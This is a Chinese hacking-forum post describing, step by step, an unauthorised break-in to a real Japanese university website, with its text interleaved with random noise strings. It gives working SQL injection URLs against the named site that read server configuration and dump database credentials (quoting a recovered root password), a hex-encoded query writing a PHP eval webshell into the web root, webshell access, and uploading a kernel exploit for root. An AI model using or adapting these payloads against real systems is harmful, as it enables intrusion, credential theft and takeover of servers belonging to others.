找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2328|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
- N9 e( X6 t1 ?! N! e" o
& Y! ]; p/ d7 U3 ~6 @) d: bhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1" J9 i# a' R* K
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:: Q) \8 ~, o3 j+ m  @
; K4 }: Z5 v' Q+ T) s2 i
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user7 W  ]  W' Z0 y/ t0 B
. a2 \# F  r/ D- X! t

& N1 d/ n0 J. ]& r
8 z1 \$ y! b% E. X//@@datadir为数据库文件路径 ! ~5 s8 c- i$ K: j, X

7 `1 i2 ?7 |. L9 R
  l8 i4 a0 y# S7 S! ^//load_file读取网站容器apache的配置文件 5 \( T; \, u/ f, y: u
, w9 H8 n9 U7 k0 j$ d. M; P. q
( G9 x6 _1 b3 a$ D
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 + J( ^/ X1 \1 n0 j3 Y9 Z7 d
复制代码
- l  j+ [% b- |6 n9 D- J& _! q/ X6 w
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
- r# I7 b  a0 n% R2 y) [( H& f+ w& c. t5 ^% b8 t, B' a, H
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
! r6 d- m* P+ A% Q$ {(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
" u0 W- V: p6 d, N; s/ }. y. R1 k5 v+ N; J9 P/ }+ }! }" W
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
7 J6 J0 \5 U6 h% p3 L7 i- P3 J% E如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
% R# t2 K/ W$ F1 d2 M/ s) u
& x( H' q% B% O既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/4 {% F, I# s  T; i; u' R; o, ?! X
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
3 [# C6 Q2 Z: t+ O! h- t直接写一句话:9 b8 F/ J# c- o& H3 q6 |

7 |$ J% ?$ T+ v) b7 Dhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#: V3 p0 ^, z8 f5 B5 B
$ B! |% ~: e# Q) i8 `, j
' F& o) L9 t, D% q3 ~
; A  \: R2 F2 C4 E% S
//最后的#是为了闭合前面的语句
; d+ Q$ K5 g' r2 v
1 U. i8 c7 h# o; }
* [, _# K5 Z$ H1 D" U6 O/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E $ l6 C  I3 G, A; O0 E
" G4 A* `7 }( u2 I" s3 t) K

2 f. }5 ^" k* u1 S( @9 T0 _' Q0 C为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 8 [) H* r, S5 T. }
- \" W' G6 q  E
1 e" A6 d3 Z3 \9 X% I9 i8 u1 a8 L
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
9 N' F' @) U  N: H( K" I
% i8 V& A$ j3 Z: I& L# s7 c  q3 L3 j
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 ; N: Q3 V8 ~& m
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” : F+ t7 Z9 g4 x' M7 s6 U
复制代码
& L; ^( W/ E# q
8 y+ \# A9 D6 s& eHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
6 x- p& r. t5 S# A' A5 `通过上述注入语句,我们就得到了一句话木马:* o# o. C6 ]/ f0 v% }# _( ~" f  K. ~
4 m" Y& S. P7 ~- M+ ~, Y1 m
& @( J9 q- Y" |2 i1 z+ U

1 `6 A. S- m& M+ e$ { 4 m2 z; y, ~" @3 s8 q

3 D, F% }9 s$ T1 {4 \( y6 ~) Dhttp://www.doshisha.ac.jp/english/engnews_img/aa.php . j6 X  O' ?; z4 @# Q9 G# V
复制代码
6 A% |" _+ A$ w6 |2 J- x0 ]( }$ j  J) z; A
用菜刀连接,密码是cmd,如图所示:* y2 N  v/ r6 G: Q
然后在命令提示行里看了一下,现在的权限是:
" k  ]+ ?, o& H$ Y# m' Z& H
' l8 @# P8 c, b. K2 a; P& d4 }之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
. g2 @! |2 H. u: x, p5 H好在赋权给这个文件夹不需要root,直接执行赋权语句:5 u; [  q. [2 a7 L2 c
! @- W/ W+ Q3 A- |/ F  F, H
2 V" p" R" r0 o
! P$ \! ]/ e9 m1 m+ |9 n

7 @  |% C. o' z  t7 c+ m  {( k6 {6 H3 o, h, {  c  @; J
chmod +x /tmp/
( u+ l2 F; Y0 C; ]复制代码
3 d7 N7 j' h. h' j3 [( ]- ^9 w7 `6 V0 y1 `4 Q. Q% i5 G
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
- n. k9 K! q: @* l% ]+ j) k然后就查了一下内核版本:! e2 T) i6 p5 x" @' S6 x1 O5 ~
& B5 e4 P6 J/ X) k( _
8 ~6 ~3 a1 K. M
& R% I7 @4 U5 d: h8 a! M
+ y7 d$ @: |3 b2 B* _( v- u

# X. ]( F' b3 o  ~) O3 Xuname-a + Z, w8 l& W% n9 G+ t! i( n
/ d) R' [9 \( F
$ w. Z' l- W! a# b
//其实lsb_release -a
  ?: i: E+ o- W复制代码, J6 r2 N' _7 N: M! ?

; x4 J8 }& l. ^' [3 [& Q如图所示:1 O9 L( M6 [" M" @- [4 x4 m8 N+ J5 Q

- k0 F$ R6 i+ h内核版本:linux mainz1 2.6.28-194.e15
# g# k6 u3 q5 z系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
% Y8 u9 j+ Q7 c查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹3 C' j- a9 U9 \3 J4 X
) k+ g( A5 I' h& X' Z2 }- N
然后给予执行权限
! W7 R6 V1 K/ |& q5 S# i一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样! I! i. z) B  w- [2 e( N- V

: G; B1 q" m1 m7 P& q
2 y# z* u( I4 w3 Y  ^/ \% ~) l  P. l' j8 |, H5 K8 c( R3 I9 v* q
8 q6 p' t6 Z" G7 v
2 d) f5 c' R4 g/ U* e
chmod +x /tmp/2.6.18-194
+ q3 H9 p, `& e# \  |复制代码 然后直接执行!~5 F3 D6 Z% e2 W* o$ V8 Z% Y; T
& R1 q0 \4 y) e# _
总结:
8 i+ k; ?  ~+ p$ I这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了2 `; `; j4 q2 j& z, i3 o# C- K
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root, B9 W4 [% Z# V' L* ^0 u

( O! N/ y! H& {, Y7 C) C, |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表